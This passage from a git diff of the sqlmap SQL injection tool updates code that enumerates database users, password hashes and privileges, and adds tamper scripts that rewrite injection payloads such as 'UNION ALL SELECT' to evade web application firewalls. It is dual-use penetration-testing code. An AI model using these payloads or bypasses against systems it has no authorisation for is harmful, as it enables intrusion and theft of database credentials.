PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: - if condition: + if Backend.isFork(FORK.DRIZZLE): + query = rootQuery.inband.query3 + elif condition: query = rootQuery.inband.query2 else: query = rootQuery.inband.query + values = inject.getValue(query, blind=False, time=False) if not isNoneValue(values): @@ -115,7 +126,9 @@ def getUsers(self): infoMsg = "fetching number of database users" logger.info(infoMsg) - if condition: + if Backend.isFork(FORK.DRIZZLE): + query = rootQuery.blind.count3 + elif condition: query = rootQuery.blind.count2 else: query = rootQuery.blind.count @@ -128,16 +141,19 @@ def getUsers(self): errMsg = "unable to retrieve the number of database users" raise SqlmapNoneDataException(errMsg) - plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2) + plusOne = Backend.getIdentifiedDbms() in PLUS_ONE_DBMSES indexRange = getLimitRange(count, plusOne=plusOne) for index in indexRange: if Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MAXDB): query = rootQuery.blind.query % (kb.data.cachedUsers[-1] if kb.data.cachedUsers else " ") + elif Backend.isFork(FORK.DRIZZLE): + query = rootQuery.blind.query3 % index elif condition: query = rootQuery.blind.query2 % index else: query = rootQuery.blind.query % index + user = unArrayizeValue(inject.getValue(query, union=False, error=False)) if user: @@ -293,7 +309,7 @@ def getPasswordHashes(self): passwords = [] - plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2) + plusOne = Backend.getIdentifiedDbms() in PLUS_ONE_DBMSES indexRange = getLimitRange(count, plusOne=plusOne) for index in indexRange: @@ -335,9 +351,7 @@ def getPasswordHashes(self): if not kb.data.cachedUsersPasswords: errMsg = "unable to retrieve the password hashes for the " - errMsg += "database users (probably because the DBMS " - errMsg += "current user has no read privileges over the relevant " - errMsg += "system database table(s))" + errMsg += "database users" logger.error(errMsg) else: for user in kb.data.cachedUsersPasswords: @@ -436,12 +450,12 @@ def getPrivileges(self, query2=False): # In PostgreSQL we get 1 if the privilege is # True, 0 otherwise if Backend.isDbms(DBMS.PGSQL) and getUnicode(privilege).isdigit(): - if int(privilege) == 1: + if int(privilege) == 1 and count in PGSQL_PRIVS: privileges.add(PGSQL_PRIVS[count]) # In MySQL >= 5.0 and Oracle we get the list # of privileges as string - elif Backend.isDbms(DBMS.ORACLE) or (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema): + elif Backend.isDbms(DBMS.ORACLE) or (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema) or Backend.getIdentifiedDbms() in (DBMS.VERTICA, DBMS.MIMERSQL, DBMS.CUBRID): privileges.add(privilege) # In MySQL < 5.0 we get Y if the privilege is @@ -541,7 +555,7 @@ def getPrivileges(self, query2=False): privileges = set() - plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2) + plusOne = Backend.getIdentifiedDbms() in PLUS_ONE_DBMSES indexRange = getLimitRange(count, plusOne=plusOne) for index in indexRange: @@ -571,16 +585,14 @@ def getPrivileges(self, query2=False): i = 1 for priv in privs: - if priv.isdigit() and int(priv) == 1: - for position, pgsqlPriv in PGSQL_PRIVS.items(): - if position == i: - privileges.add(pgsqlPriv) + if priv.isdigit() and int(priv) == 1 and i in PGSQL_PRIVS: + privileges.add(PGSQL_PRIVS[i]) i += 1 # In MySQL >= 5.0 and Oracle we get the list # of privileges as string - elif Backend.isDbms(DBMS.ORACLE) or (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema): + elif Backend.isDbms(DBMS.ORACLE) or (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema) or Backend.getIdentifiedDbms() in (DBMS.VERTICA, DBMS.MIMERSQL, DBMS.CUBRID): privileges.add(privilege) # In MySQL < 5.0 we get Y if the privilege is @@ -605,7 +617,8 @@ def getPrivileges(self, query2=False): # In Informix we get one letter for the highest privilege elif Backend.isDbms(DBMS.INFORMIX): - privileges.add(INFORMIX_PRIVS[privilege.strip()]) + if privilege.strip() in INFORMIX_PRIVS: + privileges.add(INFORMIX_PRIVS[privilege.strip()]) # In DB2 we get Y or G if the privilege is # True, N otherwise diff --git a/sqlmap.conf b/sqlmap.conf index 7c32a631216..7c28acb961e 100644 --- a/sqlmap.conf +++ b/sqlmap.conf @@ -51,6 +51,9 @@ cookie = # Character used for splitting cookie values (e.g. ;). cookieDel = +# Live cookies file used for loading up-to-date values. +liveCookies = + # File containing cookies in Netscape/wget format. loadCookies = @@ -171,7 +174,7 @@ safePost = # Load safe HTTP request from a file. safeReqFile = -# Test requests between two visits to a given safe URL (default 0). +# Regular requests between visits to a safe URL (default 0). # Valid: integer # Default: 0 safeFreq = 0 @@ -189,6 +192,9 @@ csrfUrl = # HTTP method to use during anti-CSRF token page visit. csrfMethod = +# Retries for anti-CSRF token retrieval. +csrfRetries = + # Force usage of SSL/HTTPS # Valid: True or False forceSSL = False @@ -693,6 +699,13 @@ trafficFile = # Set predefined answers (e.g. "quit=N,follow=N"). answers = +# Parameter(s) containing Base64 encoded data +base64Parameter = + +# Use URL and filename safe Base64 alphabet (Reference: https://en.wikipedia.org/wiki/Base64#URL_applications). +# Valid: True or False +base64Safe = False + # Never ask for user input, use the default behaviour. # Valid: True or False batch = False @@ -759,9 +772,12 @@ outputDir = # Valid: True or False parseErrors = False -# Use given script(s) for preprocessing of response data. +# Use given script(s) for preprocessing of request. preprocess = +# Use given script(s) for postprocessing of response data. +postprocess = + # Redump entries having unknown character marker (?). # Valid: True or False repair = False @@ -771,6 +787,10 @@ repair = False # Example: (google|yahoo) scope = +# Skip heuristic detection of SQLi/XSS vulnerabilities. +# Valid: True or False +skipHeuristics = False + # Skip heuristic detection of WAF/IPS protection. # Valid: True or False skipWaf = False diff --git a/sqlmap.py b/sqlmap.py index 811fc4ca747..4c695dae7a8 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -33,6 +33,7 @@ import traceback import warnings + warnings.filterwarnings(action="ignore", message="Python 2 is no longer supported") warnings.filterwarnings(action="ignore", message=".*was already imported", category=UserWarning) warnings.filterwarnings(action="ignore", message=".*using a very old release", category=UserWarning) warnings.filterwarnings(action="ignore", message=".*default buffer size will be used", category=RuntimeWarning) @@ -173,9 +174,12 @@ def main(): elif conf.vulnTest: from lib.core.testing import vulnTest os._exitcode = 1 - (vulnTest() or 0) - elif conf.liveTest: - from lib.core.testing import liveTest - os._exitcode = 1 - (liveTest() or 0) + elif conf.bedTest: + from lib.core.testing import bedTest + os._exitcode = 1 - (bedTest() or 0) + elif conf.fuzzTest: + from lib.core.testing import fuzzTest + fuzzTest() else: from lib.controller.controller import start if conf.profile and six.PY2: @@ -235,6 +239,8 @@ def main(): errMsg = getSafeExString(ex) logger.critical(errMsg) + os._exitcode = 1 + raise SystemExit except KeyboardInterrupt: @@ -246,8 +252,8 @@ def main(): errMsg = "exit" logger.error(errMsg) - except SystemExit: - pass + except SystemExit as ex: + os._exitcode = ex.code or 0 except: print() @@ -255,6 +261,8 @@ def main(): excMsg = traceback.format_exc() valid = checkIntegrity() + os._exitcode = 255 + if any(_ in excMsg for _ in ("MemoryError", "Cannot allocate memory")): errMsg = "memory exhaustion detected" logger.critical(errMsg) @@ -285,6 +293,11 @@ def main(): logger.critical(errMsg) raise SystemExit + elif "Insufficient system resources" in excMsg: + errMsg = "resource exhaustion detected" + logger.critical(errMsg) + raise SystemExit + elif "OperationalError: disk I/O error" in excMsg: errMsg = "I/O error on output device" logger.critical(errMsg) @@ -305,7 +318,7 @@ def main(): logger.critical(errMsg) raise SystemExit - elif any(_ in excMsg for _ in ("tempfile.mkdtemp", "tempfile.mkstemp")): + elif any(_ in excMsg for _ in ("tempfile.mkdtemp", "tempfile.mkstemp", "tempfile.py")): errMsg = "unable to write to the temporary directory '%s'. " % tempfile.gettempdir() errMsg += "Please make sure that your disk is not full and " errMsg += "that you have sufficient write permissions to " @@ -313,22 +326,34 @@ def main(): logger.critical(errMsg) raise SystemExit + elif "Permission denied: '" in excMsg: + match = re.search(r"Permission denied: '([^']*)", excMsg) + errMsg = "permission error occurred while accessing file '%s'" % match.group(1) + logger.critical(errMsg) + raise SystemExit + elif all(_ in excMsg for _ in ("twophase", "sqlalchemy")): errMsg = "please update the 'sqlalchemy' package (>= 1.1.11) " - errMsg += "(Reference: https://qiita.com/tkprof/items/7d7b2d00df9c5f16fffe)" + errMsg += "(Reference: 'https://qiita.com/tkprof/items/7d7b2d00df9c5f16fffe')" logger.critical(errMsg) raise SystemExit elif all(_ in excMsg for _ in ("scramble_caching_sha2", "TypeError")): errMsg = "please downgrade the 'PyMySQL' package (=< 0.8.1) " - errMsg += "(Reference: https://github.com/PyMySQL/PyMySQL/issues/700)" + errMsg += "(Reference: 'https://github.com/PyMySQL/PyMySQL/issues/700')" logger.critical(errMsg) raise SystemExit elif "must be pinned buffer, not bytearray" in excMsg: errMsg = "error occurred at Python interpreter which " errMsg += "is fixed in 2.7. Please update accordingly " - errMsg += "(Reference: https://bugs.python.org/issue8104)" + errMsg += "(Reference: 'https://bugs.python.org/issue8104')" + logger.critical(errMsg) + raise SystemExit + + elif all(_ in excMsg for _ in ("Resource temporarily unavailable", "os.fork()", "dictionaryAttack")): + errMsg = "there has been a problem while running the multiprocessing hash cracking. " + errMsg += "Please rerun with option '--threads=1'" logger.critical(errMsg) raise SystemExit @@ -351,12 +376,27 @@ def main(): logger.critical(errMsg) raise SystemExit + elif all(_ in excMsg for _ in ("ntlm", "socket.error, err", "SyntaxError")): + errMsg = "wrong initialization of python-ntlm detected (using Python2 syntax)" + logger.critical(errMsg) + raise SystemExit + + elif all(_ in excMsg for _ in ("drda", "to_bytes")): + errMsg = "wrong initialization of drda detected (using Python3 syntax)" + logger.critical(errMsg) + raise SystemExit + elif all(_ in excMsg for _ in ("window = tkinter.Tk()",)): errMsg = "there has been a problem in initialization of GUI interface " errMsg += "('%s')" % excMsg.strip().split('\n')[-1] logger.critical(errMsg) raise SystemExit + elif any(_ in excMsg for _ in ("unable to access item 'liveTest'",)): + errMsg = "detected usage of files from different versions of sqlmap" + logger.critical(errMsg) + raise SystemExit + elif kb.get("dumpKeyboardInterrupt"): raise SystemExit @@ -378,12 +418,12 @@ def main(): dataToStdout(excMsg) raise SystemExit - elif any(_ in excMsg for _ in ("ImportError", "ModuleNotFoundError", "Can't find file for module")): + elif any(_ in excMsg for _ in ("ImportError", "ModuleNotFoundError", "Can't find file for module", "SAXReaderNotAvailable", "source code string cannot contain null bytes", "No module named", "tp_name field")): errMsg = "invalid runtime environment ('%s')" % excMsg.split("Error: ")[-1].strip() logger.critical(errMsg) raise SystemExit - elif all(_ in excMsg for _ in ("SyntaxError: Non-ASCII character", ".py on line", "but no encoding declared")) or any(_ in excMsg for _ in ("source code string cannot contain null bytes", "No module named")): + elif all(_ in excMsg for _ in ("SyntaxError: Non-ASCII character", ".py on line", "but no encoding declared")): errMsg = "invalid runtime environment ('%s')" % excMsg.split("Error: ")[-1].strip() logger.critical(errMsg) raise SystemExit @@ -395,6 +435,12 @@ def main(): logger.critical(errMsg) raise SystemExit + elif all(_ in excMsg for _ in ("HTTPNtlmAuthHandler", "'str' object has no attribute 'decode'")): + errMsg = "package 'python-ntlm' has a known compatibility issue with the " + errMsg += "Python 3 (Reference: 'https://github.com/mullender/python-ntlm/pull/61')" + logger.critical(errMsg) + raise SystemExit + elif "'DictObject' object has no attribute '" in excMsg and all(_ in errMsg for _ in ("(fingerprinted)", "(identified)")): errMsg = "there has been a problem in enumeration. " errMsg += "Because of a considerable chance of false-positive case " @@ -436,9 +482,8 @@ def main(): finally: kb.threadContinue = False - _ = getDaysFromLastUpdate() - if _ > LAST_UPDATE_NAGGING_DAYS: - warnMsg = "you haven't updated sqlmap for more than %d days!!!" % _ + if getDaysFromLastUpdate() > LAST_UPDATE_NAGGING_DAYS: + warnMsg = "your sqlmap version is outdated" logger.warn(warnMsg) if conf.get("showTime"): @@ -506,4 +551,4 @@ def main(): sys.exit(getattr(os, "_exitcode", 0)) else: # cancelling postponed imports (because of Travis CI checks) - from lib.controller.controller import start + __import__("lib.controller.controller") diff --git a/sqlmapapi.py b/sqlmapapi.py index f178334e78a..c02fc988251 100755 --- a/sqlmapapi.py +++ b/sqlmapapi.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/0eunion.py b/tamper/0eunion.py new file mode 100644 index 00000000000..80089c80366 --- /dev/null +++ b/tamper/0eunion.py @@ -0,0 +1,32 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +import re + +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.HIGHEST + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + Replaces instances of UNION with e0UNION + + Requirement: + * MySQL + * MsSQL + + Notes: + * Reference: https://media.blackhat.com/us-13/US-13-Salgado-SQLi-Optimization-and-Obfuscation-Techniques-Slides.pdf + + >>> tamper('1 UNION ALL SELECT') + '1e0UNION ALL SELECT' + """ + + return re.sub(r"(?i)(\d+)\s+(UNION )", r"\g<1>e0\g<2>", payload) if payload else payload diff --git a/tamper/__init__.py b/tamper/__init__.py index a1e6b478904..f5f6aa0e910 100644 --- a/tamper/__init__.py +++ b/tamper/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/apostrophemask.py b/tamper/apostrophemask.py index 6c2c243a4bd..1b420a37317 100644 --- a/tamper/apostrophemask.py +++ b/tamper/apostrophemask.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -18,9 +18,9 @@ def tamper(payload, **kwargs): References: * http://www.utf8-chartable.de/unicode-utf8-table.pl?start=65280&number=128 - * http://lukasz.pilorz.net/testy/unicode_conversion/ - * http://sla.ckers.org/forum/read.php?13,11562,11850 - * http://lukasz.pilorz.net/testy/full_width_utf/index.phps + * https://web.archive.org/web/20130614183121/http://lukasz.pilorz.net/testy/unicode_conversion/ + * https://web.archive.org/web/20131121094431/sla.ckers.org/forum/read.php?13,11562,11850 + * https://web.archive.org/web/20070624194958/http://lukasz.pilorz.net/testy/full_width_utf/index.phps >>> tamper("1 AND '1'='1") '1 AND %EF%BC%871%EF%BC%87=%EF%BC%871' diff --git a/tamper/apostrophenullencode.py b/tamper/apostrophenullencode.py index ae0a9bc5130..22f75d11ce5 100644 --- a/tamper/apostrophenullencode.py +++ b/tamper/apostrophenullencode.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/appendnullbyte.py b/tamper/appendnullbyte.py index 88ee1d5229d..8413d8e13ab 100644 --- a/tamper/appendnullbyte.py +++ b/tamper/appendnullbyte.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/base64encode.py b/tamper/base64encode.py index 0aa8185a3ff..b8f75117c45 100644 --- a/tamper/base64encode.py +++ b/tamper/base64encode.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/between.py b/tamper/between.py index c222fb470e6..2a1fd605d2e 100644 --- a/tamper/between.py +++ b/tamper/between.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/binary.py b/tamper/binary.py new file mode 100644 index 00000000000..35fafaa2ed9 --- /dev/null +++ b/tamper/binary.py @@ -0,0 +1,43 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +import re + +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.HIGHEST + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + Injects keyword binary where possible + + Requirement: + * MySQL + + >>> tamper('1 UNION ALL SELECT NULL, NULL, NULL') + '1 UNION ALL SELECT binary NULL, binary NULL, binary NULL' + >>> tamper('1 AND 2>1') + '1 AND binary 2>binary 1' + >>> tamper('CASE WHEN (1=1) THEN 1 ELSE 0x28 END') + 'CASE WHEN (binary 1=binary 1) THEN binary 1 ELSE binary 0x28 END' + """ + + retVal = payload + + if payload: + retVal = re.sub(r"\bNULL\b", "binary NULL", retVal) + retVal = re.sub(r"\b(THEN\s+)(\d+|0x[0-9a-f]+)(\s+ELSE\s+)(\d+|0x[0-9a-f]+)", r"\g<1>binary \g<2>\g<3>binary \g<4>", retVal) + retVal = re.sub(r"(\d+\s*[>=]\s*)(\d+)", r"binary \g<1>binary \g<2>", retVal) + retVal = re.sub(r"\b((AND|OR)\s*)(\d+)", r"\g<1>binary \g<3>", retVal) + retVal = re.sub(r"([>=]\s*)(\d+)", r"\g<1>binary \g<2>", retVal) + retVal = re.sub(r"\b(0x[0-9a-f]+)", r"binary \g<1>", retVal) + retVal = re.sub(r"(\s+binary)+", r"\g<1>", retVal) + + return retVal diff --git a/tamper/bluecoat.py b/tamper/bluecoat.py index d488280bd13..d46de1f4f63 100644 --- a/tamper/bluecoat.py +++ b/tamper/bluecoat.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/chardoubleencode.py b/tamper/chardoubleencode.py index 128d4100ead..b259ae36fd2 100644 --- a/tamper/chardoubleencode.py +++ b/tamper/chardoubleencode.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/charencode.py b/tamper/charencode.py index 8e4330a84ba..c813bebaa60 100644 --- a/tamper/charencode.py +++ b/tamper/charencode.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/charunicodeencode.py b/tamper/charunicodeencode.py index 59258ef263c..5d64b7e608a 100644 --- a/tamper/charunicodeencode.py +++ b/tamper/charunicodeencode.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/charunicodeescape.py b/tamper/charunicodeescape.py index 4e749ffbb8b..660f2bc89db 100644 --- a/tamper/charunicodeescape.py +++ b/tamper/charunicodeescape.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/commalesslimit.py b/tamper/commalesslimit.py index 5d062ead7ff..3b7d424f008 100644 --- a/tamper/commalesslimit.py +++ b/tamper/commalesslimit.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/commalessmid.py b/tamper/commalessmid.py index fb7f500a8d5..2328bb754ec 100644 --- a/tamper/commalessmid.py +++ b/tamper/commalessmid.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/commentbeforeparentheses.py b/tamper/commentbeforeparentheses.py index da59c92a592..a41fd7262be 100644 --- a/tamper/commentbeforeparentheses.py +++ b/tamper/commentbeforeparentheses.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/concat2concatws.py b/tamper/concat2concatws.py index c13d50a92a5..0f85acde7e0 100644 --- a/tamper/concat2concatws.py +++ b/tamper/concat2concatws.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/dunion.py b/tamper/dunion.py new file mode 100644 index 00000000000..28d33638e29 --- /dev/null +++ b/tamper/dunion.py @@ -0,0 +1,34 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +import os +import re + +from lib.core.common import singleTimeWarnMessage +from lib.core.enums import DBMS +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.HIGHEST + +def dependencies(): + singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.ORACLE)) + +def tamper(payload, **kwargs): + """ + Replaces instances of UNION with DUNION + + Requirement: + * Oracle + + Notes: + * Reference: https://media.blackhat.com/us-13/US-13-Salgado-SQLi-Optimization-and-Obfuscation-Techniques-Slides.pdf + + >>> tamper('1 UNION ALL SELECT') + '1DUNION ALL SELECT' + """ + + return re.sub(r"(?i)(\d+)\s+(UNION )", r"\g<1>D\g<2>", payload) if payload else payload diff --git a/tamper/equaltolike.py b/tamper/equaltolike.py index 56d70fd97ff..8a22b023b58 100644 --- a/tamper/equaltolike.py +++ b/tamper/equaltolike.py @@ -1,21 +1,18 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ -import os import re -from lib.core.common import singleTimeWarnMessage -from lib.core.enums import DBMS from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHEST def dependencies(): - singleTimeWarnMessage("tamper script '%s' is unlikely to work against %s" % (os.path.basename(__file__).split(".")[0], DBMS.PGSQL)) + pass def tamper(payload, **kwargs): """ diff --git a/tamper/equaltorlike.py b/tamper/equaltorlike.py new file mode 100644 index 00000000000..df652c5dd47 --- /dev/null +++ b/tamper/equaltorlike.py @@ -0,0 +1,37 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +import re + +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.HIGHEST + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + Replaces all occurrences of operator equal ('=') with 'RLIKE' counterpart + + Tested against: + * MySQL 4, 5.0 and 5.5 + + Notes: + * Useful to bypass weak and bespoke web application firewalls that + filter the equal character ('=') + + >>> tamper('SELECT * FROM users WHERE id=1') + 'SELECT * FROM users WHERE id RLIKE 1' + """ + + retVal = payload + + if payload: + retVal = re.sub(r"\s*=\s*", " RLIKE ", retVal) + + return retVal diff --git a/tamper/escapequotes.py b/tamper/escapequotes.py index 2a52be97355..d3c97b3a2fc 100644 --- a/tamper/escapequotes.py +++ b/tamper/escapequotes.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/greatest.py b/tamper/greatest.py index 6c654e6fe61..238d6654f24 100644 --- a/tamper/greatest.py +++ b/tamper/greatest.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/halfversionedmorekeywords.py b/tamper/halfversionedmorekeywords.py index 84256d33253..da830aeff87 100644 --- a/tamper/halfversionedmorekeywords.py +++ b/tamper/halfversionedmorekeywords.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/hex2char.py b/tamper/hex2char.py index bdfa32feb94..d0263e41caa 100644 --- a/tamper/hex2char.py +++ b/tamper/hex2char.py @@ -1,20 +1,23 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ +import os import re +from lib.core.common import singleTimeWarnMessage from lib.core.convert import decodeHex from lib.core.convert import getOrds +from lib.core.enums import DBMS from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL def dependencies(): - pass + singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) def tamper(payload, **kwargs): """ diff --git a/tamper/htmlencode.py b/tamper/htmlencode.py index 2a751235157..16c77e2c55f 100644 --- a/tamper/htmlencode.py +++ b/tamper/htmlencode.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/ifnull2casewhenisnull.py b/tamper/ifnull2casewhenisnull.py index f5f13c37b24..06ba898bd61 100644 --- a/tamper/ifnull2casewhenisnull.py +++ b/tamper/ifnull2casewhenisnull.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/tamper/ifnull2ifisnull.py b/tamper/ifnull2ifisnull.py index 22c0d409b0d..e9b7396eba0 100644 --- a/tamper/ifnull2ifisnull.py +++ b/tamper/ifnull2ifisnull.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/informationschemacomment.py b/tamper/informationschemacomment.py index 101ab13d720..28e8aecd5a0 100644 --- a/tamper/informationschemacomment.py +++ b/tamper/informationschemacomment.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/least.py b/tamper/least.py index bd085d25f1d..f81674cc2e3 100644 --- a/tamper/least.py +++ b/tamper/least.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/lowercase.py b/tamper/lowercase.py index 3b3c18b4488..f249b6b19f3 100644 --- a/tamper/lowercase.py +++ b/tamper/lowercase.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/luanginx.py b/tamper/luanginx.py index bffc4793be5..9850cea14af 100644 --- a/tamper/luanginx.py +++ b/tamper/luanginx.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/tamper/misunion.py b/tamper/misunion.py new file mode 100644 index 00000000000..ae8d8f13b12 --- /dev/null +++ b/tamper/misunion.py @@ -0,0 +1,36 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +import os +import re + +from lib.core.common import singleTimeWarnMessage +from lib.core.enums import DBMS +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.HIGHEST + +def dependencies(): + singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) + +def tamper(payload, 